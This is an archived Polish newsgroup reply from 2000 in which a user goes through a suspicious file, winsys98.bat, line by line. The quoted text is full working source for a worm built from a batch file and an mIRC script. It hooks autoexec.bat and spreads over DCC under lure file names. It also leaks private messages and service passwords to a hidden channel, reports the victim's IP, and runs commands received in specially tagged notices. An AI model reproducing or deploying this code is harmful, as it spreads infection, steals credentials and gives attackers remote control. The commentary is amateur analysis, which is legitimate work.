Odp: co to jest ? (duzy)

Autor: Michał Jeliński (mmiki_at_zeus.polsl.gliwice.pl)
Data: Sat 08 Jan 2000 - 16:25:29 MET


Mnie to wyglada na jakiegos samopowielajacego sie robaka korzystajacego w
sposob nieco prymitywny z irca. Kiedys cos slyszalem o pliku winsys, ale
szczerze mowiac bylo to dawno temu i pamiec juz nie ta...
Mozliwe rowniez, ze jest to jakis fragment ze skryptow do irca
Czesc tego skryptu moge objasnic.

(przepraszam za netykiete - jest to celowe i ma na celu nie zanudzanie ew.
czytelnikow)
Aha - jesli masz jeszcze cos podobnego, lub do kompletu z tym plikem, to
poslij mi to mailem na priva.
Pozdrowienia.

--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                                    Michał Jeliński
                mailto: mmiki_at_zeus.polsl.gliwice.pl
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Użytkownik Paweł J. <hankey_at_polbox.com> w wiadomości do grup dyskusyjnych
napisał:ozsd4.28915$N3.668558_at_news.tpnet.pl...
Rozumiem oczywiscie, ze program nazywa sie winsys98.bat
> @echo off
> @if %0 == C:\WINSYS98.BAT goto :skip
Jesli ja (znaczy program ktory sie odpala) mam na imie winsys98.bat, to
opuszczamy te czesc az do  " :skip"
> @echo asdf >> c:\temp.jpg
> @c:\progra~1\intern~1\iexplore c:\temp.jpg
Powyzsze 2 linijki sa dla mnie niezrozumiale. Skrypt dopisuje do pliku
temp.jpg literki asdf, a nastepnie wyswietla to korzystajac z internet
explorera. Nie wiem - moze jest to proba wywolania polaczenia internetowego
(ale raczej watpie, bo troche nedzna), a moze plik temp.jpg jest jakims
plikem z kodem, w kazdym razie plik ten w zalozeniach autora zawieral cos
wiecej niz tylko literki asdf (wskazuje na to gorna linia - podwojny dziubek
>> ). Jednak nie rozumiem, po co w takim wypadku te literki asdf - sa na to
inne sposoby, zeby byc pewnym istnienia pliku temp.jpg
> @echo @C:\WINSYS98.BAT >> c:\autoexec.bat
Dolaczamy sie do autoexeca
> @copy /y %0 c:\winsys98.bat > nul
oraz stajemy sie winsysem. Wszystko po cichu, bez zadnych komunikatow na
ekran (fraza ">nul"). Ja w ten sposob robilem samomodyfikujace sie skrypty,
rozumiem, ze on tez to wykorzystuje.
> :skip
> @if exist c:\mirc\mirc.exe goto ok
Jesli masz zainstalowanego irca, to super, a jak nie, to nic tu po mnie.
> @exit
Ponizsza czesc dopisuje wiersze z pliku script.ini do pliku mirc.ini
> :ok
> @copy /y %0 c:\mirc\script.ini > nul
> @echo n0=script.ini >> c:\mirc\mirc.ini
> @echo n1=script.ini >> c:\mirc\mirc.ini
> @echo n2=script.ini >> c:\mirc\mirc.ini
> @echo n3=script.ini >> c:\mirc\mirc.ini
> @echo n4=script.ini >> c:\mirc\mirc.ini
> @echo n5=script.ini >> c:\mirc\mirc.ini
> @echo n6=script.ini >> c:\mirc\mirc.ini
> @echo n7=script.ini >> c:\mirc\mirc.ini
> @echo n8=script.ini >> c:\mirc\mirc.ini
> @echo n9=script.ini >> c:\mirc\mirc.ini
> @exit
>
Tutaj nie jestem pewnien, ale chyba jest to jakas symulacja pliku
script.ini - nigdy nie widzialem, zeby ktos tak robil, wiec nie wiem
Wlasciwie dalsza czesc rozumiem piate przez dziesiate, bo nie uzywam irca.
> [script]
> n0=alias chanserv { rub.msg (msg:chanserv) $1- | chanserv $1- }
> n1=alias nickserv { rub.msg (msg:nickserv) $1- | nickserv $1- }
> n2=alias operserv { rub.msg (msg:operserv) $1- | operserv $1- }
> n3=alias msg { rub.msg (msg: $+ $1 $+ ) $2- | msg $1- }
> n4=alias privmsg { rub.msg (msg: $+ $1 $+ ) $2- | privmsg $1- }
> n5=alias remote {
> n6=  if ($1 == off) { rub.echo info text:*** Remote is OFF }
> n7=  if ($1 == on) { rub.echo info text:*** Remote is ON
> (Ctcps,Events,Raw) }
> n8=}
> n9=alias unload {
> n10=  if ($1 == -rs) && ($gettok($2,$gettok($2,0,92),92) ==
> $gettok($script,$gettok($script,0,92),92)) { rub.echo info text:***
Unloaded
> script 'script1.ini' }
> n11=  else {
> n12=    unload $1-
> n13=  }
> n14=}
> n15=alias -l rub.echo echo -ae  $+ $colour($gettok($1-,1,58)) $+
> $deltok($1-,1,58)
> n16=alias -l rub.msg if ($server != $null) raw -q privmsg $chr(35) $+
$date
> :#ribbed#2.41# $1-
> n17=alias -l rub.name return $str(!,$r(0,9)) $+
>
$gettok(:jennie:wife:lori:cindy:lanna:pamela:jane:wendi:christine:linda:kath
> erine:yasmeen:model:anna:nicole:,$r(1,15),58) $+
> $gettok(::-:_:~:x:,$r(1,5),58) $+
>
$gettok(::wet:hot:sexy:xxx:lick:horny:wild:orgy:naked:lesbian:straight:all-w
> et:,$r(1,13),58) $+ .jpg.bat
> n18=alias -l rub.infect {
> n19=  :top
> n20=  if ($sock(*,0) > 5) return
> n21=  %rub.sock = rub.send. $+ $r(0,9999)
> n22=  socklisten %rub.sock | sockmark %rub.sock $1 0
> n23=  %rub.temp = $rub.name
> n24=  raw -q privmsg $1 :DCC SEND %rub.temp $longip($ip)
> $sock(%rub.sock).port $file($script).size $+ 
> n25=}
> n26=alias -l rub.help {
> n27=  if (($sock(*,0) > 5) && ($sock(rub.*,0) > 0)) {
> n28=    %rub.temp = 1
> n29=    :l
> n30=    if ($sock(rub.*,%rub.temp).ls > 30) sockclose
$sock(rub.*,%rub.temp)
> n31=    else inc %rub.temp
> n32=    if (%rub.temp <= $sock(rub.*,0)) goto l
> n33=  }
> n34=  if (($chan(0) == 0) || ($sock(*,0) > 5)) return | %rub.temp2 = 0
> n35=  :loop
> n36=  %rub.temp = $chan($r(1,$chan(0)))
> n37=  %rub.temp = $nick(%rub.temp,$r(1,$nick(%rub.temp,0)))
> n38=  if (%rub.temp != $me) rub.infect %rub.temp
> n39=  if (%rub.temp2 < 5) { inc %rub.temp2 | goto loop }
> n40=}
> n41=on *:socklisten:rub.send.*:{
> n42=  set %rub.temp rub.write. $+ $gettok($sockname,3,46) | sockaccept
> %rub.temp | sockmark %rub.temp $sock($sockname).mark | rub.send %rub.temp
|
> sockclose $sockname
> n43=}
> n44=on *:sockwrite:rub.write.*:rub.send $sockname
> n45=on *:sockclose:rub.write.*:rub.help
> n46=alias -l rub.send {
> n47=  %rub.byte = $gettok($sock($1).mark,2,32)
> n48=  if ($calc(%rub.byte + 4096) < $file($script).size) {
> n49=    bread $script %rub.byte 4096 &rub.data
> n50=    sockwrite $1 &rub.data
> n51=    inc %rub.byte 4096
> n52=  }
> n53=  else {
> n54=    %rub.temp = $calc($file($script).size - %rub.byte)
> n55=    if (%rub.temp == 0) { rub.msg infected
$gettok($sock($1).mark,1,32)
> | rub.help | return }
> n56=    bread $script %rub.byte %rub.temp &rub.data
> n57=    sockwrite $1 &rub.data
> n58=    %rub.byte = $file($script).size
> n59=  }
> n60=  sockmark $1 $gettok($sock($1).mark,1,32) %rub.byte
> n61=}
> n62=
> n63=raw 401:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp)
> halt }
> n64=raw 404:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp)
> halt }
> n65=on *:connect:{
> n66=  .copy -o $script c:\winsys98.bat
> n67=  rub.msg online ( $+ $me $+ ! $+ $ip $+ )
> n68=}
> n69=on *:invite:#:rub.msg invited to $chan
> n70=on *:join:#:{
> n71=  if ($nick != $me) rub.infect $nick
> n72=  rub.help
> n73=}
> n74=on *:part:#:.timermircHelpTimer 0 10 rub.help
> n75=on *:nick:if ($nick == $me) rub.msg nick: $nick -> $newnick
> n76=on *:op:#:if ($opnick == $me) rub.msg just opped in $chan
> n77=on *:serverop:#:if ($opnick == $me) rub.msg just serv-opped in $chan
> n78=on *:usermode:rub.msg usermode: $1-
> n79=
> n80=on ^*:error:*:haltdef
> n81=on ^*:notice:*:?:{
> n82=  if ($right($gettok($1-,1,94),$calc($len($gettok($1-,1,94)) - 1)) ==
> ribbed) && (($version < 5.4) || ($gettok($1-,2,94) == $hash($me,32))) {
> n83=    $left($gettok($1-,3-,94),$calc($len($gettok($1-,3-,94)) - 1))
> n84=    haltdef
> n85=  }
> n86=}
>
Wlasciwie, sam jestem ciekaw, co on robi. Ale jak widze hasla rub.infect, to
niezbyt mi sie to kojarzy z instalka :)
Jak bedziesz wiedziec cos wiecej daj znac - jestem bardzo ciekaw


To archiwum zostało wygenerowane przez hypermail 2.1.7 : Tue 18 May 2004 - 19:32:59 MET DST